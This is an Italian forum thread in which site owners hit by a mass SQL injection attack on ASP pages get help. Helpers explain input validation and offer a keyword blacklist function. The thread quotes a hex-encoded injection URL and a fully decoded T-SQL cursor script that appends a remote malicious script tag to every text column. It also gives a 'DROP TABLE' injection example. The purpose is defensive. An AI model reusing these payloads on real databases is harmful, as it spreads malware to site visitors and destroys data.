• Bannato User Attivo

    si chiama sql injection (it.wikipedia.org/wiki/SQL_injection) è indipendente dal linguaggio usato, ne soffrono tutte le applicazioni che non hanno un'adeguato controllo sulle variabili valorizzate da GET/POST/SESSION/COOKIE o in ogni caso tutte le variabile che un utente può valorizzare su un sito e che poi vengono usate nelle query.
    La soluzione è una: bonificare tali variabili prima di usarle all'interno delle query (o di stamparle a video nell'html).
    Per bonifica di solito si intende, la rimozione di caratteri quali l'apice il doppio apice, doppio trattino o qualsiasi carattere (sequenza di carattere) che può avere un senso nelle query.
    Per evitare di ingegnarsi su cosa rimuovere e cosa no, si fa un controllo a monte, per fare un esempio se il valore di Marche può essere lungo minimo 3 al massimo 10 si controlla che Marche verifiche tali condizioni prima di proseguire con l'uso della stessa variabile, oppure se Marche può essere solo "avg", "pippo", "topolino", ect. si controlla che effettivamente si trovi all'interno di quell'insieme, se può essere solo lettere/numeri si controlla che non ci siano caratteri all'infuori di lettere e numeri.
    Questo discorso (insieme ad altre problematiche di sicurezza) sta alla base delle programmazione web.


  • User Attivo

    Se io levassi l'apice cioè facendo replace.... con doppio apice, ho letto da qualche parte che risolverei tutto è cosi o no?


  • Bannato User Attivo

    Se era così banale risolvere "tutto" perchè per cercare di farti prendere coscienza del problema avrei dovuto scrivere 10 righe di risposta ? E poi 3120000 pagine su Google per la ricerca "SQL injection" sono state scritte per dire di fare un replace?
    No, non risolvi tutto, fra l'altro banalmente qui

    Marche/elenco_marche.asp?Marca=AGV;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C00410052004500200040005400 20007600610072006300680061007200280032003500350029 002C0040004300200076006100720063006800610072002800 320035003500290020004400450043004C0
    non vedo nessun apice.


  • User Attivo

    scusami in questo specifoco caso quale sarebbe la soluzione?
    Dato che l'attacco su tutti i miei siti è di questo tipo?
    grazie


  • Bannato User Attivo

    intanto è assurdo che se la marca non esiste il sito si inchioda:

    ADODB.Field error '800a0bcd'
    Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
    /Marche/elenco_marche.asp, line 39
    dovrebbe comparire un messaggio del tipo "Marca non trovata" oppure rimandare all'homepage del sito.

    Sono questi messaggi d'errore che suggeriscono agli hacker che tipo di attacco eseguire su un sito.

    Poi, mi ripeto, la marca più lunga che hai è "tucano urbano", 13 caratteri, controlla che se ti arriva una marca più lunga di 13 caratteri allora sicuramente è sbagliata o frutto di tentativo di hackeraggio.
    Tutte le marche sono formate da lettere (abcdefghilmnopqrstuvz) con al massimo un trattino (-) e/o un punto (.), controlla anche che la marca che ti arriva sia formata solo da questo set di caratteri, altri caratteri non devono essere consentiti.
    Se proprio vuoi un controllo sicuro metti tutte le marche in un array e quando ti passano una marca controlli che esista in quell'array di marche altrimenti NON fai la query.

    P.S.:
    Peccato che non ho una moto altrimenti potevo chiederti qualcosa in regalo in cambio della consulenza:D


  • User Attivo

    Quasta tipologia di attaco è stata effetuata su diversi miei siti quindi non mi sapresti consigliare una regola generale?
    O quel codice può includere tutte le falle?
    e quindi non si può evitare con qualche script o cos'altro?


  • Bannato User Attivo

    non conosco tutti i tuoi siti, ma l'attacco di solito si porta passando codice malevolo alle variabili in GET (POST o COOKIE).
    Se vuoi usare un metodo generico per difenderti, usa una funzione per tutti i siti e scrivila in maniera tale che copra un pò tutti i casi descritti prima senza limitare le funzionalità dei siti.

    Io userei una funzione del genere:

    'Function IllegalChars to guard against SQL              injection
                Function IllegalChars(sInput) 
                'Declare variables 
                Dim sBadChars, iCounter 
                'Set IllegalChars to False 
                IllegalChars=False
                'Create an array of illegal characters and words              
                sBadChars=array("select", "drop", ";",              "--", "insert", "delete", "xp_",              _
                "#", "%", "&", "'", "(",              ")", "/", "\", ":", ";",              "<", ">", "=", "[",              "]", "?", "`", "|", "@", " ") 
                'Loop through array sBadChars using our counter              & UBound function
                For iCounter = 0 to uBound(sBadChars) 
                'Use Function Instr to check presence of illegal              character in our variable
                If Instr(sInput,sBadChars(iCounter))>0 Then
                IllegalChars=True
                End If
                Next 
                End function
    ```poi la chiami su tutte le variabili che provengono dalla request:
    

    'Call the function IllegalChars to check for illegal characters
    If IllegalChars(sMarca)=True Then
    Response.redirect("no_access.asp")
    End If


  • User Attivo

    Ottmo e scusami se ti sembra che abbia collaborato poco adatterò la tua funzione a sencoda dei miei casi
    grazie mille


  • User Attivo

    per curiosità, il tipo di attacco che hai subito ti ha lasciato questo nel db:

    <script src=http://www.killwow1.cn/g.js></script>

    Se ho capito bene dovrebbe essere qualche sorta di JS maligno quindi vi invito a non scaricarlo ecc.


  • Bannato User Attivo

    mmh, si sono fatti un bel giretto sti tizi, risultano: Risultati 1 - 10 su circa 654.000 ⭕o


  • User Attivo

    A me è un altro script semre del tipo.
    <script src=http://www......js></script>

    è un casino su quasi tutti i siti.
    Sto tentando diverse soluzioni ma niente.

    Se lo scriot che ha messo tonyx è maligno
    CANCELLATELO SUBITO DAL FORUM!!!

    Scusate il maiusculetto.


  • User Attivo

    E' un codice che si è sparso un bel pò sul web, molto probabilmente con qualche sorta di tool automatizzato.

    Decodificando il codice unicode si ottengono queste istruzioni T-sql:

    DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.killwow1.cn/g.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

    Non ho ben capito, ma sembrerebbe che questo codice vada a vedere nella tabella sysobjects quante tabelle ci sono nel db e quanti campi (testuali presumo) e poi gli aggiunge sto codice <script src=http://www.killwow1.cn/g.js></script> ad ogniuno di questo campo, sperando forse che quando i dati vadano in output sul web in automatico venga eseguito questo codice malevole sul pc client.
    Ho provato anche a scaricarlo per studiarlo ma sembrerebbe che il dominio è down.


  • User Attivo

    @nandonando2 said:

    A me è un altro script semre del tipo.
    <script src=http://www......js></script>

    è un casino su quasi tutti i siti.
    Sto tentando diverse soluzioni ma niente.

    Se lo scriot che ha messo tonyx è maligno
    CANCELLATELO SUBITO DAL FORUM!!!

    Scusate il maiusculetto.

    Nando io ho messo solo un url, non viene eseguito automaticamente e poi ho anche avvertito di non scaricarlo (cmq io ci ho provato per sturiarlo ed il sito è down) quindi non c'è rischio.


  • User Attivo

    Scusa ma c'è qualche soluzione?
    Ho levato tutto o quasi inerente al sql iniection, ora cambio i permessi dell'utente del db e li metto in sola lettura ma vorrei capire quale è la vulnerabilità, ne sai qualcosa di più?
    Quale protezione consigli?


  • User Attivo

    Per capire bene il problema dovresti avere una conoscenza quantomeno media del linguaggio SQL. Ti faccio un esempio di una query e un esempio di injection. Prendiamo il classico caso si un Db di una libreria.

    Una semplice query SQL che seleziona una riga dal database può essere la seguente:

    SELECT * FROM TabLibri WHERE IdLibro = 3

    Ora che succede, molte volte per rendere dinamico un sito si associa una variabile che a seconda del valore passatogli tira fuori il libro richiesto dalla tabella TabLibri, in asp verrebbe una cosa tipo questa:

    query = "SELECT * FROM TabLibri WHERE IdLibro =" & request("idlibro")

    Questa riga di codice è vulnerabile all'SQL Injection, perchè finquando mi limito a passargli un valore numerico tipo: 3 (come nell'esempio sopra) tutto funziona, ma che succese se ad esempio io gli passassi questo valore:
    *3; DROP TABLE tabLibri
    *Semplicemente oltre al valore 3 che gli passo per non far andare in errore aggiungo ";" che non fa altro che informare SQL Server dicendogli che la prima istruzione è finita ora segue la secona, la seconda istruzione è maligna, anzi distruttiva, praticamente ti cancella la tabella "tabLibri".

    Capito questo esempio?

    Ora in questo e sottolineo questo esempio per evitare una cosa del genere bisognerebbe eseguire un controllo dell'input e verificare che esso sia esclusivamente numerico.

    Come diceva saro78 non esiste 1 solo carattere da tener sotto controllo, sono una serie di caratteri, io penso che il miglior modo per prevenire l'sql injection è sempre tentare di capire come potrebbero essere inserite istruzioni sql ed evitarle.

    Ti consiglio prima di tutto di imparare meglio l'SQL e di leggerti i numerosi documenti che si trovano in internet riguardante l'SQL Injection.

    Saluti


  • User Attivo

    Diciamo che avevo evitato il problema ma ho fatto un errore in pratica non ho considerato il passaggio di più valori ossia doppie variabili
    es miapagin.asp?val1=10&val2=dd

    non ho esaminato i casi tipo val2
    cerco di provvedere

    Grazie